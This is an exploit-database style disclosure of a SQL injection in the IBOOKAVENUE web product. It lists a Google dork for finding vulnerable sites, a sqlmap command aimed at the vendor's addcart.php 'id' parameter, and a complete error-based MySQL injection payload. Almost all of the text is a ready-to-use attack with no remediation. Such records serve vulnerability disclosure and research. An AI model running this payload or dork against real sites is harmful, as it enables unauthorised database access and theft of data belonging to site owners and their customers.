****************************
#Exploit Title: IBOOKAVENUE - SQL Injection vulnerability
#Date: 2020-12-24
#Exploit Author: darksecurity team
#Vendor Homepage: http://www.ibookavenue.com
#Google Dork: "Powered by Ibookavenue"
#Tested On: windows 10
sqlmap:
sqlmap -u "http://www.ibookavenue.com/addcart.php?id=2" --dbs
Testing Method;
- error-based
Parameter: id (GET)
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
Payload: id=2' AND (SELECT 5137 FROM(SELECT COUNT(*),CONCAT(0x7170627071,(SELECT (ELT(5137=5137,1))),0x716b627a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND 'LqUF'='LqUF
**************************************************
#Discovered by: mjoker-mina_ah-mohammad_zo-reza_zo
**************************************************